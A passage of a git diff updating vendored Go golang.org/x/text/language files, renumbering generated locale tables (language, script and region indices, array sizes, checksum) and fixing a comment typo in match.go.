{lang: 0x2ed, script: 0x5b, flags: 0x0}, 56: {lang: 0x4b4, script: 0x5, flags: 0x0}, 57: {lang: 0x88, script: 0x22, flags: 0x0}, 58: {lang: 0x4b4, script: 0x5, flags: 0x0}, 59: {lang: 0x4b4, script: 0x5, flags: 0x0}, 60: {lang: 0xbe, script: 0x22, flags: 0x0}, - 61: {lang: 0x3dc, script: 0x5a, flags: 0x0}, + 61: {lang: 0x3dc, script: 0x5b, flags: 0x0}, 62: {lang: 0x7e, script: 0x20, flags: 0x0}, 63: {lang: 0x3e2, script: 0x20, flags: 0x0}, - 64: {lang: 0x267, script: 0x5a, flags: 0x0}, - 65: {lang: 0x444, script: 0x5a, flags: 0x0}, + 64: {lang: 0x267, script: 0x5b, flags: 0x0}, + 65: {lang: 0x444, script: 0x5b, flags: 0x0}, 66: {lang: 0x512, script: 0x3e, flags: 0x0}, - 67: {lang: 0x412, script: 0x5a, flags: 0x0}, + 67: {lang: 0x412, script: 0x5b, flags: 0x0}, 68: {lang: 0x4ae, script: 0x20, flags: 0x0}, 69: {lang: 0x3a, script: 0x5, flags: 0x0}, - 70: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 71: {lang: 0x15e, script: 0x5a, flags: 0x0}, + 70: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 71: {lang: 0x15e, script: 0x5b, flags: 0x0}, 72: {lang: 0x35, script: 0x5, flags: 0x0}, - 73: {lang: 0x46b, script: 0xeb, flags: 0x0}, + 73: {lang: 0x46b, script: 0xee, flags: 0x0}, 74: {lang: 0x2ec, script: 0x5, flags: 0x0}, - 75: {lang: 0x30f, script: 0x75, flags: 0x0}, + 75: {lang: 0x30f, script: 0x76, flags: 0x0}, 76: {lang: 0x467, script: 0x20, flags: 0x0}, 77: {lang: 0x148, script: 0x5, flags: 0x0}, 78: {lang: 0x3a, script: 0x5, flags: 0x0}, - 79: {lang: 0x15e, script: 0x5a, flags: 0x0}, - 80: {lang: 0x48a, script: 0x5a, flags: 0x0}, + 79: {lang: 0x15e, script: 0x5b, flags: 0x0}, + 80: {lang: 0x48a, script: 0x5b, flags: 0x0}, 81: {lang: 0x58, script: 0x5, flags: 0x0}, 82: {lang: 0x219, script: 0x20, flags: 0x0}, 83: {lang: 0x81, script: 0x34, flags: 0x0}, 84: {lang: 0x529, script: 0x3c, flags: 0x0}, - 85: {lang: 0x48c, script: 0x5a, flags: 0x0}, + 85: {lang: 0x48c, script: 0x5b, flags: 0x0}, 86: {lang: 0x4ae, script: 0x20, flags: 0x0}, 87: {lang: 0x512, script: 0x3e, flags: 0x0}, - 88: {lang: 0x3b3, script: 0x5a, flags: 0x0}, - 89: {lang: 0x431, script: 0x5a, flags: 0x0}, + 88: {lang: 0x3b3, script: 0x5b, flags: 0x0}, + 89: {lang: 0x431, script: 0x5b, flags: 0x0}, 90: {lang: 0x432, script: 0x20, flags: 0x0}, - 91: {lang: 0x15e, script: 0x5a, flags: 0x0}, + 91: {lang: 0x15e, script: 0x5b, flags: 0x0}, 92: {lang: 0x446, script: 0x5, flags: 0x0}, } @@ -3298,38 +3320,38 @@ type likelyTag struct { // Size: 198 bytes, 33 elements var likelyRegionGroup = [33]likelyTag{ - 1: {lang: 0x139, region: 0xd6, script: 0x5a}, - 2: {lang: 0x139, region: 0x135, script: 0x5a}, - 3: {lang: 0x3c0, region: 0x41, script: 0x5a}, - 4: {lang: 0x139, region: 0x2f, script: 0x5a}, - 5: {lang: 0x139, region: 0xd6, script: 0x5a}, - 6: {lang: 0x13e, region: 0xcf, script: 0x5a}, - 7: {lang: 0x445, region: 0x12f, script: 0x5a}, - 8: {lang: 0x3a, region: 0x6b, script: 0x5}, - 9: {lang: 0x445, region: 0x4b, script: 0x5a}, - 10: {lang: 0x139, region: 0x161, script: 0x5a}, - 11: {lang: 0x139, region: 0x135, script: 0x5a}, - 12: {lang: 0x139, region: 0x135, script: 0x5a}, - 13: {lang: 0x13e, region: 0x59, script: 0x5a}, + 1: {lang: 0x139, region: 0xd7, script: 0x5b}, + 2: {lang: 0x139, region: 0x136, script: 0x5b}, + 3: {lang: 0x3c0, region: 0x41, script: 0x5b}, + 4: {lang: 0x139, region: 0x2f, script: 0x5b}, + 5: {lang: 0x139, region: 0xd7, script: 0x5b}, + 6: {lang: 0x13e, region: 0xd0, script: 0x5b}, + 7: {lang: 0x445, region: 0x130, script: 0x5b}, + 8: {lang: 0x3a, region: 0x6c, script: 0x5}, + 9: {lang: 0x445, region: 0x4b, script: 0x5b}, + 10: {lang: 0x139, region: 0x162, script: 0x5b}, + 11: {lang: 0x139, region: 0x136, script: 0x5b}, + 12: {lang: 0x139, region: 0x136, script: 0x5b}, + 13: {lang: 0x13e, region: 0x5a, script: 0x5b}, 14: {lang: 0x529, region: 0x53, script: 0x3b}, - 15: {lang: 0x1be, region: 0x99, script: 0x22}, - 16: {lang: 0x1e1, region: 0x95, script: 0x5a}, - 17: {lang: 0x1f9, region: 0x9e, script: 0x5a}, - 18: {lang: 0x139, region: 0x2f, script: 0x5a}, - 19: {lang: 0x139, region: 0xe6, script: 0x5a}, - 20: {lang: 0x139, region: 0x8a, script: 0x5a}, - 21: {lang: 0x41b, region: 0x142, script: 0x5a}, + 15: {lang: 0x1be, region: 0x9a, script: 0x22}, + 16: {lang: 0x1e1, region: 0x96, script: 0x5b}, + 17: {lang: 0x1f9, region: 0x9f, script: 0x5b}, + 18: {lang: 0x139, region: 0x2f, script: 0x5b}, + 19: {lang: 0x139, region: 0xe7, script: 0x5b}, + 20: {lang: 0x139, region: 0x8b, script: 0x5b}, + 21: {lang: 0x41b, region: 0x143, script: 0x5b}, 22: {lang: 0x529, region: 0x53, script: 0x3b}, - 23: {lang: 0x4bc, region: 0x137, script: 0x5a}, - 24: {lang: 0x3a, region: 0x108, script: 0x5}, - 25: {lang: 0x3e2, region: 0x106, script: 0x20}, - 26: {lang: 0x3e2, region: 0x106, script: 0x20}, - 27: {lang: 0x139, region: 0x7b, script: 0x5a}, - 28: {lang: 0x10d, region: 0x60, script: 0x5a}, - 29: {lang: 0x139, region: 0xd6, script: 0x5a}, - 30: {lang: 0x13e, region: 0x1f, script: 0x5a}, - 31: {lang: 0x139, region: 0x9a, script: 0x5a}, - 32: {lang: 0x139, region: 0x7b, script: 0x5a}, + 23: {lang: 0x4bc, region: 0x138, script: 0x5b}, + 24: {lang: 0x3a, region: 0x109, script: 0x5}, + 25: {lang: 0x3e2, region: 0x107, script: 0x20}, + 26: {lang: 0x3e2, region: 0x107, script: 0x20}, + 27: {lang: 0x139, region: 0x7c, script: 0x5b}, + 28: {lang: 0x10d, region: 0x61, script: 0x5b}, + 29: {lang: 0x139, region: 0xd7, script: 0x5b}, + 30: {lang: 0x13e, region: 0x1f, script: 0x5b}, + 31: {lang: 0x139, region: 0x9b, script: 0x5b}, + 32: {lang: 0x139, region: 0x7c, script: 0x5b}, } // Size: 264 bytes, 33 elements @@ -3350,8 +3372,8 @@ var regionContainment = [33]uint64{ // regionInclusion maps region identifiers to sets of regions in regionInclusionBits, // where each set holds all groupings that are directly connected in a region // containment graph. -// Size: 358 bytes, 358 elements -var regionInclusion = [358]uint8{ +// Size: 359 bytes, 359 elements +var regionInclusion = [359]uint8{ // Entry 0 - 3F 0x00, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, @@ -3364,45 +3386,45 @@ var regionInclusion = [358]uint8{ // Entry 40 - 7F 0x26, 0x28, 0x26, 0x25, 0x31, 0x22, 0x32, 0x33, 0x34, 0x30, 0x22, 0x27, 0x27, 0x27, 0x35, 0x2d, - 0x29, 0x28, 0x27, 0x36, 0x28, 0x22, 0x34, 0x23, - 0x21, 0x26, 0x2d, 0x26, 0x22, 0x37, 0x2e, 0x35, - 0x2a, 0x22, 0x2f, 0x38, 0x26, 0x26, 0x21, 0x39, - 0x39, 0x28, 0x38, 0x39, 0x39, 0x2f, 0x3a, 0x2f, - 0x20, 0x21, 0x38, 0x3b, 0x28, 0x3c, 0x2c, 0x21, - 0x2a, 0x35, 0x27, 0x38, 0x26, 0x24, 0x28, 0x2c, + 0x29, 0x28, 0x27, 0x36, 0x28, 0x22, 0x21, 0x34, + 0x23, 0x21, 0x26, 0x2d, 0x26, 0x22, 0x37, 0x2e, + 0x35, 0x2a, 0x22, 0x2f, 0x38, 0x26, 0x26, 0x21, + 0x39, 0x39, 0x28, 0x38, 0x39, 0x39, 0x2f, 0x3a, + 0x2f, 0x20, 0x21, 0x38, 0x3b, 0x28, 0x3c, 0x2c, + 0x21, 0x2a, 0x35, 0x27, 0x38, 0x26, 0x24, 0x28, // Entry 80 - BF - 0x2d, 0x23, 0x30, 0x2d, 0x2d, 0x26, 0x27, 0x3a, - 0x22, 0x34, 0x3c, 0x2d, 0x28, 0x36, 0x22, 0x34, - 0x3a, 0x26, 0x2e, 0x21, 0x39, 0x31, 0x38, 0x24, - 0x2c, 0x25, 0x22, 0x24, 0x25, 0x2c, 0x3a, 0x2c, - 0x26, 0x24, 0x36, 0x21, 0x2f, 0x3d, 0x31, 0x3c, - 0x2f, 0x26, 0x36, 0x36, 0x24, 0x26, 0x3d, 0x31, - 0x24, 0x26, 0x35, 0x25, 0x2d, 0x32, 0x38, 0x2a, - 0x38, 0x39, 0x39, 0x35, 0x33, 0x23, 0x26, 0x2f, + 0x2c, 0x2d, 0x23, 0x30, 0x2d, 0x2d, 0x26, 0x27, + 0x3a, 0x22, 0x34, 0x3c, 0x2d, 0x28, 0x36, 0x22, + 0x34, 0x3a, 0x26, 0x2e, 0x21, 0x39, 0x31, 0x38, + 0x24, 0x2c, 0x25, 0x22, 0x24, 0x25, 0x2c, 0x3a, + 0x2c, 0x26, 0x24, 0x36, 0x21, 0x2f, 0x3d, 0x31, + 0x3c, 0x2f, 0x26, 0x36, 0x36, 0x24, 0x26, 0x3d, + 0x31, 0x24, 0x26, 0x35, 0x25, 0x2d, 0x32, 0x38, + 0x2a, 0x38, 0x39, 0x39, 0x35, 0x33, 0x23, 0x26, // Entry C0 - FF - 0x3c, 0x21, 0x23, 0x2d, 0x31, 0x36, 0x36, 0x3c, - 0x26, 0x2d, 0x26, 0x3a, 0x2f, 0x25, 0x2f, 0x34, - 0x31, 0x2f, 0x32, 0x3b, 0x2d, 0x2b, 0x2d, 0x21, - 0x34, 0x2a, 0x2c, 0x25, 0x21, 0x3c, 0x24, 0x29, - 0x2b, 0x24, 0x34, 0x21, 0x28, 0x29, 0x3b, 0x31, - 0x25, 0x2e, 0x30, 0x29, 0x26, 0x24, 0x3a, 0x21, - 0x3c, 0x28, 0x21, 0x24, 0x21, 0x21, 0x1f, 0x21, + 0x2f, 0x3c, 0x21, 0x23, 0x2d, 0x31, 0x36, 0x36, + 0x3c, 0x26, 0x2d, 0x26, 0x3a, 0x2f, 0x25, 0x2f, + 0x34, 0x31, 0x2f, 0x32, 0x3b, 0x2d, 0x2b, 0x2d, + 0x21, 0x34, 0x2a, 0x2c, 0x25, 0x21, 0x3c, 0x24, + 0x29, 0x2b, 0x24, 0x34, 0x21, 0x28, 0x29, 0x3b, + 0x31, 0x25, 0x2e, 0x30, 0x29, 0x26, 0x24, 0x3a, + 0x21, 0x3c, 0x28, 0x21, 0x24, 0x21, 0x21, 0x1f, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, // Entry 100 - 13F - 0x21, 0x21, 0x2f, 0x21, 0x2e, 0x23, 0x33, 0x2f, - 0x24, 0x3b, 0x2f, 0x39, 0x38, 0x31, 0x2d, 0x3a, - 0x2c, 0x2e, 0x2d, 0x23, 0x2d, 0x2f, 0x28, 0x2f, - 0x27, 0x33, 0x34, 0x26, 0x24, 0x32, 0x22, 0x26, - 0x27, 0x22, 0x2d, 0x31, 0x3d, 0x29, 0x31, 0x3d, - 0x39, 0x29, 0x31, 0x24, 0x26, 0x29, 0x36, 0x2f, - 0x33, 0x2f, 0x21, 0x22, 0x21, 0x30, 0x28, 0x3d, - 0x23, 0x26, 0x21, 0x28, 0x26, 0x26, 0x31, 0x3b, + 0x21, 0x21, 0x21, 0x2f, 0x21, 0x2e, 0x23, 0x33, + 0x2f, 0x24, 0x3b, 0x2f, 0x39, 0x38, 0x31, 0x2d, + 0x3a, 0x2c, 0x2e, 0x2d, 0x23, 0x2d, 0x2f, 0x28, + 0x2f, 0x27, 0x33, 0x34, 0x26, 0x24, 0x32, 0x22, + 0x26, 0x27, 0x22, 0x2d, 0x31, 0x3d, 0x29, 0x31, + 0x3d, 0x39, 0x29, 0x31, 0x24, 0x26, 0x29, 0x36, + 0x2f, 0x33, 0x2f, 0x21, 0x22, 0x21, 0x30, 0x28, + 0x3d, 0x23, 0x26, 0x21, 0x28, 0x26, 0x26, 0x31, // Entry 140 - 17F - 0x29, 0x21, 0x29, 0x21, 0x21, 0x21, 0x21, 0x21, - 0x21, 0x21, 0x21, 0x21, 0x21, 0x23, 0x21, 0x21, + 0x3b, 0x29, 0x21, 0x29, 0x21, 0x21, 0x21, 0x21, + 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x23, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, - 0x21, 0x21, 0x21, 0x21, 0x21, 0x24, 0x24, 0x2f, - 0x23, 0x32, 0x2f, 0x27, 0x2f, 0x21, + 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x24, 0x24, + 0x2f, 0x23, 0x32, 0x2f, 0x27, 0x2f, 0x21, } // regionInclusionBits is an array of bit vectors where every vector represents @@ -3462,11 +3484,11 @@ type parentRel struct { // Size: 414 bytes, 5 elements var parents = [5]parentRel{ - 0: {lang: 0x139, script: 0x0, maxScript: 0x5a, toRegion: 0x1, fromRegion: []uint16{0x1a, 0x25, 0x26, 0x2f, 0x34, 0x36, 0x3d, 0x42, 0x46, 0x48, 0x49, 0x4a, 0x50, 0x52, 0x5c, 0x5d, 0x61, 0x64, 0x6d, 0x73, 0x74, 0x75, 0x7b, 0x7c, 0x7f, 0x80, 0x81, 0x83, 0x8c, 0x8d, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9f, 0xa0, 0xa4, 0xa7, 0xa9, 0xad, 0xb1, 0xb4, 0xb5, 0xbf, 0xc6, 0xca, 0xcb, 0xcc, 0xce, 0xd0, 0xd2, 0xd5, 0xd6, 0xdd, 0xdf, 0xe0, 0xe6, 0xe7, 0xe8, 0xeb, 0xf0, 0x107, 0x109, 0x10a, 0x10b, 0x10d, 0x10e, 0x112, 0x117, 0x11b, 0x11d, 0x11f, 0x125, 0x129, 0x12c, 0x12d, 0x12f, 0x131, 0x139, 0x13c, 0x13f, 0x142, 0x161, 0x162, 0x164}}, - 1: {lang: 0x139, script: 0x0, maxScript: 0x5a, toRegion: 0x1a, fromRegion: []uint16{0x2e, 0x4e, 0x60, 0x63, 0x72, 0xd9, 0x10c, 0x10f}}, - 2: {lang: 0x13e, script: 0x0, maxScript: 0x5a, toRegion: 0x1f, fromRegion: []uint16{0x2c, 0x3f, 0x41, 0x48, 0x51, 0x54, 0x56, 0x59, 0x65, 0x69, 0x89, 0x8f, 0xcf, 0xd8, 0xe2, 0xe4, 0xec, 0xf1, 0x11a, 0x135, 0x136, 0x13b}}, - 3: {lang: 0x3c0, script: 0x0, maxScript: 0x5a, toRegion: 0xee, fromRegion: []uint16{0x2a, 0x4e, 0x5a, 0x86, 0x8b, 0xb7, 0xc6, 0xd1, 0x118, 0x126}}, - 4: {lang: 0x529, script: 0x3c, maxScript: 0x3c, toRegion: 0x8d, fromRegion: []uint16{0xc6}}, + 0: {lang: 0x139, script: 0x0, maxScript: 0x5b, toRegion: 0x1, fromRegion: []uint16{0x1a, 0x25, 0x26, 0x2f, 0x34, 0x36, 0x3d, 0x42, 0x46, 0x48, 0x49, 0x4a, 0x50, 0x52, 0x5d, 0x5e, 0x62, 0x65, 0x6e, 0x74, 0x75, 0x76, 0x7c, 0x7d, 0x80, 0x81, 0x82, 0x84, 0x8d, 0x8e, 0x97, 0x98, 0x99, 0x9a, 0x9b, 0xa0, 0xa1, 0xa5, 0xa8, 0xaa, 0xae, 0xb2, 0xb5, 0xb6, 0xc0, 0xc7, 0xcb, 0xcc, 0xcd, 0xcf, 0xd1, 0xd3, 0xd6, 0xd7, 0xde, 0xe0, 0xe1, 0xe7, 0xe8, 0xe9, 0xec, 0xf1, 0x108, 0x10a, 0x10b, 0x10c, 0x10e, 0x10f, 0x113, 0x118, 0x11c, 0x11e, 0x120, 0x126, 0x12a, 0x12d, 0x12e, 0x130, 0x132, 0x13a, 0x13d, 0x140, 0x143, 0x162, 0x163, 0x165}}, + 1: {lang: 0x139, script: 0x0, maxScript: 0x5b, toRegion: 0x1a, fromRegion: []uint16{0x2e, 0x4e, 0x61, 0x64, 0x73, 0xda, 0x10d, 0x110}}, + 2: {lang: 0x13e, script: 0x0, maxScript: 0x5b, toRegion: 0x1f, fromRegion: []uint16{0x2c, 0x3f, 0x41, 0x48, 0x51, 0x54, 0x57, 0x5a, 0x66, 0x6a, 0x8a, 0x90, 0xd0, 0xd9, 0xe3, 0xe5, 0xed, 0xf2, 0x11b, 0x136, 0x137, 0x13c}}, + 3: {lang: 0x3c0, script: 0x0, maxScript: 0x5b, toRegion: 0xef, fromRegion: []uint16{0x2a, 0x4e, 0x5b, 0x87, 0x8c, 0xb8, 0xc7, 0xd2, 0x119, 0x127}}, + 4: {lang: 0x529, script: 0x3c, maxScript: 0x3c, toRegion: 0x8e, fromRegion: []uint16{0xc7}}, } -// Total table size 30244 bytes (29KiB); checksum: B6B15F30 +// Total table size 30466 bytes (29KiB); checksum: 7544152B diff --git a/vendor/golang.org/x/text/language/match.go b/vendor/golang.org/x/text/language/match.go index ee45f49474..1153baf291 100644 --- a/vendor/golang.org/x/text/language/match.go +++ b/vendor/golang.org/x/text/language/match.go @@ -434,7 +434,7 @@ func newMatcher(supported []Tag, options []MatchOption) *matcher { // (their canonicalization simply substitutes a different language code, but // nothing else), the match confidence is Exact, otherwise it is High. for i, lm := range language.AliasMap { - // If deprecated codes match and there is no fiddling with the script or + // If deprecated codes match and there is no fiddling with the script // or region, we consider it an exact match. conf := Exact if language.AliasTypes[i] != language.Macro { diff --git a/vendor/golang.org/x/text/language/tables.go b/vendor/golang.org/x/text/language/tables.go index 34a732b699..a6573dcb21 100644 --- a/vendor/golang.org/x/text/language/tables.go +++ b/vendor/golang.org/x/text/language/tables.go @@ -23,31 +23,31 @@ const ( _419 = 31 _BR = 65 _CA = 73 - _ES = 110 - _GB = 123 - _MD = 188 - _PT = 238 - _UK = 306 - _US = 309 - _ZZ = 357 - _XA = 323 - _XC = 325 - _XK = 333 + _ES = 111 + _GB = 124 + _MD = 189 + _PT = 239 + _UK = 307 + _US = 310 + _ZZ = 358 + _XA = 324 + _XC = 326 + _XK = 334 ) const ( - _Latn = 90 + _Latn = 91 _Hani = 57 _Hans = 59 _Hant = 60 - _Qaaa = 147 - _Qaai = 155 - _Qabx = 196 - _Zinh = 252 - _Zyyy = 257 - _Zzzz = 258 + _Qaaa = 149 + _Qaai = 157 + _Qabx = 198 + _Zinh = 255 + _Zyyy = 260 + _Zzzz = 261 ) -var regionToGroups = []uint8{ // 358 elements +var regionToGroups = []uint8{ // 359 elements // Entry 0 - 3F 0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04, 0x00, @@ -60,51 +60,51 @@ var regionToGroups = []uint8{ // 358 elements // Entry 40 - 7F 0x04, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, - 0x00, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x08, - 0x00, 0x04, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, + 0x00, 0x04, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x00, + 0x08, 0x00, 0x04, 0x00, 0x00, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, // Entry 80 - BF - 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x04, 0x01, 0x00, 0x04, 0x02, 0x00, 0x04, - 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x04, 0x01, 0x00, 0x04, 0x02, 0x00, + 0x04, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x08, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x00, 0x04, // Entry C0 - FF - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, - 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x01, 0x04, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x04, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x04, 0x00, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Entry 100 - 13F 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x00, 0x05, 0x04, 0x00, - 0x00, 0x04, 0x00, 0x04, 0x04, 0x05, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, + 0x00, 0x00, 0x00, 0x04, 0x04, 0x00, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x05, 0x04, + 0x00, 0x00, 0x04, 0x00, 0x04, 0x04, 0x05, 0x00, // Entry 140 - 17F 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, -} // Size: 382 bytes + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +} // Size: 383 bytes var paradigmLocales = [][3]uint16{ // 3 elements - 0: [3]uint16{0x139, 0x0, 0x7b}, + 0: [3]uint16{0x139, 0x0, 0x7c}, 1: [3]uint16{0x13e, 0x0, 0x1f}, - 2: [3]uint16{0x3c0, 0x41, 0xee}, + 2: [3]uint16{0x3c0, 0x41, 0xef}, } // Size: 42 bytes type mutualIntelligibility struct { @@ -249,30 +249,30 @@ var matchLang = []mutualIntelligibility{ // 113 elements // matchScript holds pairs of scriptIDs where readers of one script // can typically also read the other. Each is associated with a confidence. var matchScript = []scriptIntelligibility{ // 26 elements - 0: {wantLang: 0x432, haveLang: 0x432, wantScript: 0x5a, haveScript: 0x20, distance: 0x5}, - 1: {wantLang: 0x432, haveLang: 0x432, wantScript: 0x20, haveScript: 0x5a, distance: 0x5}, - 2: {wantLang: 0x58, haveLang: 0x3e2, wantScript: 0x5a, haveScript: 0x20, distance: 0xa}, - 3: {wantLang: 0xa5, haveLang: 0x139, wantScript: 0xe, haveScript: 0x5a, distance: 0xa}, + 0: {wantLang: 0x432, haveLang: 0x432, wantScript: 0x5b, haveScript: 0x20, distance: 0x5}, + 1: {wantLang: 0x432, haveLang: 0x432, wantScript: 0x20, haveScript: 0x5b, distance: 0x5}, + 2: {wantLang: 0x58, haveLang: 0x3e2, wantScript: 0x5b, haveScript: 0x20, distance: 0xa}, + 3: {wantLang: 0xa5, haveLang: 0x139, wantScript: 0xe, haveScript: 0x5b, distance: 0xa}, 4: {wantLang: 0x1d7, haveLang: 0x3e2, wantScript: 0x8, haveScript: 0x20, distance: 0xa}, - 5: {wantLang: 0x210, haveLang: 0x139, wantScript: 0x2e, haveScript: 0x5a, distance: 0xa}, - 6: {wantLang: 0x24a, haveLang: 0x139, wantScript: 0x4e, haveScript: 0x5a, distance: 0xa}, - 7: {wantLang: 0x251, haveLang: 0x139, wantScript: 0x52, haveScript: 0x5a, distance: 0xa}, - 8: {wantLang: 0x2b8, haveLang: 0x139, wantScript: 0x57, haveScript: 0x5a, distance: 0xa}, - 9: {wantLang: 0x304, haveLang: 0x139, wantScript: 0x6e, haveScript: 0x5a, distance: 0xa}, - 10: {wantLang: 0x331, haveLang: 0x139, wantScript: 0x75, haveScript: 0x5a, distance: 0xa}, - 11: {wantLang: 0x351, haveLang: 0x139, wantScript: 0x22, haveScript: 0x5a, distance: 0xa}, - 12: {wantLang: 0x395, haveLang: 0x139, wantScript: 0x81, haveScript: 0x5a, distance: 0xa}, - 13: {wantLang: 0x39d, haveLang: 0x139, wantScript: 0x36, haveScript: 0x5a, distance: 0xa}, - 14: {wantLang: 0x3be, haveLang: 0x139, wantScript: 0x5, haveScript: 0x5a, distance: 0xa}, - 15: {wantLang: 0x3fa, haveLang: 0x139, wantScript: 0x5, haveScript: 0x5a, distance: 0xa}, - 16: {wantLang: 0x40c, haveLang: 0x139, wantScript: 0xd4, haveScript: 0x5a, distance: 0xa}, - 17: {wantLang: 0x450, haveLang: 0x139, wantScript: 0xe3, haveScript: 0x5a, distance: 0xa}, - 18: {wantLang: 0x461, haveLang: 0x139, wantScript: 0xe6, haveScript: 0x5a, distance: 0xa}, - 19: {wantLang: 0x46f, haveLang: 0x139, wantScript: 0x2c, haveScript: 0x5a, distance: 0xa}, - 20: {wantLang: 0x476, haveLang: 0x3e2, wantScript: 0x5a, haveScript: 0x20, distance: 0xa}, - 21: {wantLang: 0x4b4, haveLang: 0x139, wantScript: 0x5, haveScript: 0x5a, distance: 0xa}, - 22: {wantLang: 0x4bc, haveLang: 0x3e2, wantScript: 0x5a, haveScript: 0x20, distance: 0xa}, - 23: {wantLang: 0x512, haveLang: 0x139, wantScript: 0x3e, haveScript: 0x5a, distance: 0xa}, + 5: {wantLang: 0x210, haveLang: 0x139, wantScript: 0x2e, haveScript: 0x5b, distance: 0xa}, + 6: {wantLang: 0x24a, haveLang: 0x139, wantScript: 0x4f, haveScript: 0x5b, distance: 0xa}, + 7: {wantLang: 0x251, haveLang: 0x139, wantScript: 0x53, haveScript: 0x5b, distance: 0xa}, + 8: {wantLang: 0x2b8, haveLang: 0x139, wantScript: 0x58, haveScript: 0x5b, distance: 0xa}, + 9: {wantLang: 0x304, haveLang: 0x139, wantScript: 0x6f, haveScript: 0x5b, distance: 0xa}, + 10: {wantLang: 0x331, haveLang: 0x139, wantScript: 0x76, haveScript: 0x5b, distance: 0xa}, + 11: {wantLang: 0x351, haveLang: 0x139, wantScript: 0x22, haveScript: 0x5b, distance: 0xa}, + 12: {wantLang: 0x395, haveLang: 0x139, wantScript: 0x83, haveScript: 0x5b, distance: 0xa}, + 13: {wantLang: 0x39d, haveLang: 0x139, wantScript: 0x36, haveScript: 0x5b, distance: 0xa}, + 14: {wantLang: 0x3be, haveLang: 0x139, wantScript: 0x5, haveScript: 0x5b, distance: 0xa}, + 15: {wantLang: 0x3fa, haveLang: 0x139, wantScript: 0x5, haveScript: 0x5b, distance: 0xa}, + 16: {wantLang: 0x40c, haveLang: 0x139, wantScript: 0xd6, haveScript: 0x5b, distance: 0xa}, + 17: {wantLang: 0x450, haveLang: 0x139, wantScript: 